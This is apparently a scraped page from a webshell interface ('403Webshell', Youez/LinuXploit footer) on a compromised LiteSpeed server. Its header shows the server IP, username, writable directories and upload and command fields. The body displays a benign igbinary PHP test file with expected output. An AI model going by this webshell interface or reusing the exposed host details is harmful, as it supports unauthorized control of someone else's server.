403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.223.172.41
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php80/root/usr/share/tests/pecl/igbinary/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php80/root/usr/share/tests/pecl/igbinary/tests/igbinary_067.phpt
--TEST--
Test serializing multiple reference groups to the same empty array
--SKIPIF--
<?php
if (!function_exists('json_encode')) { echo "skip requires json_encode\n"; }
?>
--FILE--
<?php

function dump($array) {
	echo count($array) . " values\n";
	foreach ($array as $k => $value) {
		echo "$k: " . json_encode($value) . "\n";
	}
}

function main() {
	$a = array();
	$b = $a;
	$c = $a;
	$value = array(&$b, $a, &$b, &$c, &$c);
	$ser = igbinary_serialize($value);
	echo bin2hex($ser) . "\n";
	$v = igbinary_unserialize($ser);
	dump($v);
	$v[0][] = 2;
	dump($v);
	$v[3][] = 3;
	dump($v);
	var_export($a);
}
main();
?>
--EXPECT--
000000021405060025140006011400060225010106032514000604250103
5 values
0: []
1: []
2: []
3: []
4: []
5 values
0: [2]
1: []
2: [2]
3: []
4: []
5 values
0: [2]
1: []
2: [2]
3: [3]
4: [3]
array (
)

Youez - 2016 - github.com/yon3zu
LinuXploit